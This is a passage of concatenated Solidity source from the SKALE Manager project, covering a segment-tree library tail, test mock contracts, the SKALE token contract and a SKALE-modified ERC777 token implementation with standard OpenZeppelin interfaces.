while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
sum = sum.add(self.tree[step]);
}
}
sum = sum.add(self.tree[step.sub(1)]);
}
/**
* @dev Returns amount of elements in segment tree
*/
function getSize(Tree storage segmentTree) internal view returns (uint) {
if (segmentTree.tree.length > 0) {
return segmentTree.tree.length.div(2).add(1);
} else {
return 0;
}
}
/**
* @dev Checks if `place` is valid position in segment tree
*/
function _correctPlace(Tree storage self, uint place) private view returns (bool) {
return place >= 1 && place <= getSize(self);
}
/**
* @dev Calculates index of left child of the vertex
*/
function _left(uint vertex) private pure returns (uint) {
return vertex.mul(2);
}
/**
* @dev Calculates index of right child of the vertex
*/
function _right(uint vertex) private pure returns (uint) {
return vertex.mul(2).add(1);
}
/**
* @dev Calculates arithmetical mean of 2 numbers
*/
function _middle(uint left, uint right) private pure returns (uint) {
return left.add(right).div(2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ILocker.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface of the Locker functions.
*/
interface ILocker {
/**
* @dev Returns and updates the total amount of locked tokens of a given
* `holder`.
*/
function getAndUpdateLockedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the total non-transferrable and un-delegatable
* amount of a given `holder`.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodesMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../BountyV2.sol";
import "../Permissions.sol";
contract NodesMock is Permissions {
uint public nodesCount = 0;
uint public nodesLeft = 0;
// nodeId => timestamp
mapping (uint => uint) public lastRewardDate;
// nodeId => left
mapping (uint => bool) public nodeLeft;
// nodeId => validatorId
mapping (uint => uint) public owner;
function registerNodes(uint amount, uint validatorId) external {
for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) {
lastRewardDate[nodeId] = now;
owner[nodeId] = validatorId;
}
nodesCount += amount;
}
function removeNode(uint nodeId) external {
++nodesLeft;
nodeLeft[nodeId] = true;
}
function changeNodeLastRewardDate(uint nodeId) external {
lastRewardDate[nodeId] = now;
}
function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) {
require(nodeIndex < nodesCount, "Node does not exist");
return lastRewardDate[nodeIndex];
}
function isNodeLeft(uint nodeId) external view returns (bool) {
return nodeLeft[nodeId];
}
function getNumberOnlineNodes() external view returns (uint) {
return nodesCount.sub(nodesLeft);
}
function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) {
return true;
}
function getValidatorId(uint nodeId) external view returns (uint) {
return owner[nodeId];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleManagerMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../interfaces/IMintableToken.sol";
import "../Permissions.sol";
contract SkaleManagerMock is Permissions, IERC777Recipient {
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE");
constructor (address contractManagerAddress) public {
Permissions.initialize(contractManagerAddress);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
function payBounty(uint validatorId, uint amount) external {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted");
require(
IMintableToken(address(skaleToken))
.mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""),
"Token was not minted"
);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external override allow("SkaleToken")
// solhint-disable-next-line no-empty-blocks
{
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IMintableToken.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
interface IMintableToken {
function mint(
address account,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleToken.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./thirdparty/openzeppelin/ERC777.sol";
import "./Permissions.sol";
import "./interfaces/delegation/IDelegatableToken.sol";
import "./interfaces/IMintableToken.sol";
import "./delegation/Punisher.sol";
import "./delegation/TokenState.sol";
/**
* @title SkaleToken
* @dev Contract defines the SKALE token and is based on ERC777 token
* implementation.
*/
contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken {
using SafeMath for uint;
string public constant NAME = "SKALE";
string public constant SYMBOL = "SKL";
uint public constant DECIMALS = 18;
uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created
constructor(address contractsAddress, address[] memory defOps) public
ERC777("SKALE", "SKL", defOps)
{
Permissions.initialize(contractsAddress);
}
/**
* @dev Allows Owner or SkaleManager to mint an amount of tokens and
* transfer minted tokens to a specified address.
*
* Returns whether the operation is successful.
*
* Requirements:
*
* - Mint must not exceed the total supply.
*/
function mint(
address account,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
override
allow("SkaleManager")
//onlyAuthorized
returns (bool)
{
require(amount <= CAP.sub(totalSupply()), "Amount is too big");
_mint(
account,
amount,
userData,
operatorData
);
return true;
}
/**
* @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}.
*/
function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) {
return DelegationController(contractManager.getContract("DelegationController"))
.getAndUpdateDelegatedAmount(wallet);
}
/**
* @dev See {IDelegatableToken-getAndUpdateSlashedAmount}.
*/
function getAndUpdateSlashedAmount(address wallet) external override returns (uint) {
return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {IDelegatableToken-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) public override returns (uint) {
return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet);
}
// internal
function _beforeTokenTransfer(
address, // operator
address from,
address, // to
uint256 tokenId)
internal override
{
uint locked = getAndUpdateLockedAmount(from);
if (locked > 0) {
require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring");
}
}
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal override nonReentrant {
super._callTokensToSend(operator, from, to, amount, userData, operatorData);
}
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal override nonReentrant {
super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
// we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe
function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) {
return Context._msgData();
}
function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) {
return Context._msgSender();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE
// import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
/* Added by SKALE */
import "../../Permissions.sol";
/* End of added by SKALE */
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view override returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public override
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal virtual
{
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal virtual
{
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
/* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
/* End of changed by SKALE */
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_beforeTokenTransfer(operator, from, to, amount);
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
/* Chaged by SKALE from private */ internal /* End of changed by SKALE */
/* Added by SKALE */ virtual /* End of added by SKALE */
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
/* Chaged by SKALE from private */ internal /* End of changed by SKALE */
/* Added by SKALE */ virtual /* End of added by SKALE */
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IDelegatableToken.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface of the SkaleToken contract.
*/
interface IDelegatableToken {
/**
* @dev Returns and updates the amount of locked tokens of a given account `wallet`.
*/
function getAndUpdateLockedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the amount of delegated tokens of a given account `wallet`.
*/
function getAndUpdateDelegatedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the amount of slashed tokens of a given account `wallet`.
*/
function getAndUpdateSlashedAmount(address wallet) external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
